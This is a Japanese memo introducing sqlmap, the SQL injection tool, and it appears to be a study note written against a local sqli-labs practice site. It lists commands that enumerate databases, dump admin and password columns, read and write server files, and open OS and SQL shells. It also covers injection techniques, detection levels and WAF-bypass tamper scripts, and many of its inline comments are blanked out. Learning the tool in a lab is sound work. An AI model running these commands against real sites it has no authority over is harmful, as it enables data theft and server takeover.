SQLmapの紹介と使用(メモ)

9923 ワード

SQLmapとは?
SQLMapはPythonが開発した自動化SQL注入ツールで、その主な機能はSQL注入の脆弱性をスキャンし、発見し、利用することであり、多くのプラグインを内蔵し、MySQL、SQL Oracle、PostgreSQL、SQL Server、Access、IBM DB 2、SQLiteなどのデータベースをサポートする.
SQLMAPの強みは、データベース指紋の識別、データベース列挙、データ抽出、ターゲットファイルシステムへのアクセス、および完全な操作権限の取得時に任意のコマンドを実行することであり、ブールタイプの注入に基づいて、戻りページに基づいて条件の真偽の注入を判断することができるいくつかの独特な注入をサポートする.時間に基づくブラインドコメント,すなわちページ戻り判断ができない場合,時間線が遅延しているか否かを利用して条件の真偽を判断する.エラーメッセージの注入に基づいて、すなわちページがエラーメッセージを返すか、注入された文の結果をデータベースエラーメッセージなどのページに直接返す.Unionを使用して注入できるように、統合クエリ注入.複数の文を同時に実行できる場合の、スタック・クエリー・インジェクション.
SQLmapの一般的な操作
-GET形式–batchはすべてのデフォルト構成を使用し、ユーザー入力に問い合わせない
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --current-user  //      
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --password     //         
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --dbs  //       
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --current-db  //       
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --tables -D dbname //  dbname        
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --columns -T tname -D dbname //  dbname    tname      
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --dump -C "admin,passwd"  -T tname -D dbname //        

-POST形式-
python2 sqlmap.py  -r request.txt  //  request.txt              
python2 sqlmap.py -u URL --data "uname=123&passwd=123&submit=Submit"   //     POST    
python2 sqlmap.py  -r request.txt  --level 3  //  request.txt UA/referer      

—Cookie—
python2 sqlmap.py -u URL --cookie="cookie "
python2 sqlmap.py  -r request.txt  --level 2 //  request.txt cookie      

—referer–
python2 sqlmap.py -u URL --referer="referer "     //    
python2 sqlmap.py  -r request.txt //       *          

—UA—
python2 sqlmap.py -r user-agent.txt -A "" --level 3

SQLmapステップアップ操作
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --is-dba   //               TRUE/FALSE
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --users   //       
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --os-cmd="whoami"    // DBA   ,      
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --os-shell                      // DBA   ,      shell
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --sql-shell                     //  SQL    shell
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --file-read="D:\phpStudy\PHPTutorial\WWW\sqlilabs\Less-1\index2.php"   //             
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --file-write             --file-dest            +  .PHP     //             
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --roles   //      
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --threads 1 //     ,   1

SQLMap欠陥チェック漏れ
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2"  --skip="newid"  //      
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2"  --prefix ") --suffix #  //  PAYLOAD        
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2"  --banner   //          
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --technique T     //  :BTQ

B:Boolean-based blind(ブール注入)E:Error-based(エラー注入)U:Union query-based(クエリー注入可能)S:Stacked queries(マルチ文クエリー注入可能)T:Time-based blind(時間遅延注入に基づく)Q:Inline queries(ネストクエリー注入)python 2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1」--hostname//クエリーホスト名
-level 5:プローブレベルsqlmapでプローブレベルを5つに分けます-level 1:デフォルトのレベルで、GETとPOST方式を含む基本的なテストが行われます.-level 2:既存のベースにクッキーの検出を追加します.–レベル3:User Agent/Referの検出を追加します.–level 4:より多くのpayload.–level 5:最高レベル、すべてのpayloadを含め、クッキー、xffなどの頭部注入を自動的に解読しようとします.(速度が一番遅い)
ステップアップでは、呼び出し情報が7レベル0で表示され、pythonエラーと深刻な情報1のみが表示され、基本情報と警告情報が表示されます.2、debug情報3を同時に表示し、注入されたpayload 4を同時に表示し、httpリクエスト5を同時に表示し、http応答ヘッダ6を同時に表示し、http応答ページを表示する
SQL注入迂回:よく考えられる迂回:大文字と小文字の2重迂回符号化内線注釈の迂回他のデータベース特性
SQLMAPでよく見られるバイパススクリプト(部分)
apostrophemask.py		      UTF-8,       
base64encode.py		   base64  
multiplespaces.py		   SQL         
nonrecursivereplacement.py	          payload
space2randomblank.py	             
unionalltounion.py		union all select   union select
securesphere.py		           
space2hash.py.		      # ,              。
space2mssqlblank.py	          
space2mssqlhash.py 	     # ,        
between.py 		 NOT BETWEEN 0 AND      ,  BETWEEN  AND    
percentage.py 		ASP       %, %s%e%l%e%c%t%...
charencode.py		  url     Payload     url  
charunicodeencode.py 	  unicode  
space2comment.py 		     /**/
equaltolike.py 		     like
greatest.py		 GREATEST     
modsecurityversioned.py 	     MySQL    
modsecurityzeroversioned.py 	  MySQL    (/!*00000*/)  
space2mysqldash.py	 	     --      
chardoubleencode.py		 Payload    URL  (          )